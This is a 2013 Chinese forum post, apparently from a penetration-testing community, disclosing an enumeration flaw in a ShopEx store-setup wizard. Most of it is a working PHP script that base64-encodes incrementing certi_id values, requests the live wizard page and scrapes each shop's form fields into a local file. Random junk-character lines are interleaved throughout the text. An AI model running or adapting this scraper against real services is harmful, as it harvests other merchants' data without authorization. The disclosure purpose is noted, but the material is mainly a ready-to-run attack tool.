中国网络渗透测试联盟
标题:
ShopEx某接口缺陷可遍历所有用户网站
[打印本页]
作者:
admin
时间:
2013-9-21 15:59
标题:
ShopEx某接口缺陷可遍历所有用户网站
简要描述:
+ H( z* v6 h: p! Z6 a: o
ShopEx某接口缺陷,可遍历所有网站
! K( a: \* H2 ] t
详细说明:
. l, L0 R" g$ n0 T8 l; Z1 ^
问题出现在shopex 网店使用向导页面
6 u+ G/ B+ E/ c! ^% y9 @: s% J7 a2 h/ k
) D% N, _, `2 S$ N# ?0 G
$ d0 z; H6 A7 S4 J1 e. n3 b3 B
5 X6 Z+ a; b- E( S/ F
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
1 f4 d5 [5 x- K% p5 m/ N
- o& C, m2 {/ U3 p7 y& m4 z, Y
9 j: n Y" e1 Q% y
" D+ q4 J4 v# P- e
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
% ]$ x3 T$ L/ H0 b: L; a. |; z) h
* k5 t* N. L5 k7 Y2 d
) K) m4 @: _5 @) ?8 r+ r
! Z2 t) |' l8 d. ?
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
9 e9 L; @- I/ O' j* S( J" I
! K9 {2 H8 Q4 ?$ Q1 N6 H
. A* J! m! n+ C2 I6 |) D: M" [
$ ~0 L2 A5 O( R+ a& C; G, _0 ~) J
<?php
1 i: p* L! P6 A! @( _
! Y* j) p5 b; m) Y4 G
for ($i=1; $i < 10000; $i++) { //遍历
- G) [2 Z% m1 R; m
/ O. W* Z5 }6 O8 i. i
ShowshopExD($i);
: b) n8 L1 r2 s1 E9 e
" S( A; K, v8 i: t
}
1 H! {, l- Z/ k! W* b4 w1 _3 i2 [
- u& h. E+ D) i) f' F& @2 i( W
function ShowshopExD($cid) {
- b4 ^- \; y! `* K% l
3 w; e' r: K5 t7 P/ h. h( e2 [9 L, Y
$url='http://guide.ecos.shopex.cn/step2.php';
5 u7 v: \$ v0 S
" h1 r! i z, L/ ^) ~2 }
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
- u) V) `+ }& Q& m+ K" \
" [$ ?" d/ f. ~3 |$ _2 e+ _
$url = $url.'?refer='.$refer;
* s. j4 @6 A2 @8 C$ J; X' c
/ D7 L) L& u- f
$ch = curl_init($url);
' w# a; V4 S: a3 M! n7 ]
: J& Y/ i1 B/ e. O& X0 n' F4 e
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
8 @1 G) [. v/ i# _; R; X7 s2 w
9 e) n. ]& }6 F- w; t7 h. q
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
- f8 C. b. D" f
0 j5 S* g. ^* D4 K
$result = curl_exec($ch);
* |" d# K7 z& ^; N W' u
( F5 T4 v$ t% X3 I1 l
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
! V8 M. f- y9 j4 N: ~6 k
* i3 z1 A( U, H$ m" H
if(strpos($result,$refer))
4 D$ m( l5 O9 f" j" g. m
* s2 A7 }6 u. ~: b
{
. X' m8 j: I2 m
1 E/ i' d+ n* {& m0 Z4 L+ C; _
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
1 A/ g0 x4 t4 o( @$ d+ r1 m
. U+ H: M) T+ h/ U1 E- ^- ]
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
4 z. x; y! r7 D: I M7 @* x- m) T6 X2 c
$ T# G3 K+ `+ z* m5 B7 D' _
foreach ($value[1] as $key) {
* S- }. `3 q; y1 Z% K$ T# \
5 _8 i& d! d9 ~' z3 n( K
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
; `6 j. d. s3 G$ @ \& u J1 j8 ^
9 z [, f4 B9 S R: {6 Y. h3 g2 r
echo $res[1][0].':'.$res[3][0]."\r\n";
9 k( _6 x* x A7 W3 M4 |' N
* c# V6 ?' s+ c( a+ u" B. [: L
$col =$res[1][0].':'.$res[3][0]."\r\n";
: D9 V) O$ G( p s
- C( X, @1 F9 A( Z
fwrite($fp, $col, strlen($col));
; \, B* ?- c: r6 L$ q' D( V
" N! F" e# v0 O. ^2 N
}
! j! f# I s2 u4 L4 m U
( X5 F9 H" N; m% R$ O6 E. N
echo '--------------------------------'."\r\n";
* a1 {! i [ D6 P
4 V9 H! g9 Z, R e) e6 i
fclose($fp);
$ k' ` F G; P2 I8 V1 d! u
4 q2 \3 w4 J4 P: H# b! K$ ^
}
9 M5 p' Q2 e; ?) W9 K
+ X H3 H! i8 U& Q
flush();
; Q+ P- I7 W/ x f* K' W
5 `6 v7 r1 s- A; R8 @8 m
curl_close($ch);
4 N' G; C: L d& M; X9 N# u
, P! x' ]7 N/ D3 B7 \0 r
}
5 M! y2 {0 |; y) M+ v
O" `0 O/ b- w$ N
?>
0 E% q. U# ^7 ]1 b; R
漏洞证明:
5 v& g7 D! A- G) @& P
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
6 O% i0 f" h5 _+ K- u
refer换成其他加密方式
1 x3 }2 _4 z! {' N+ c
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2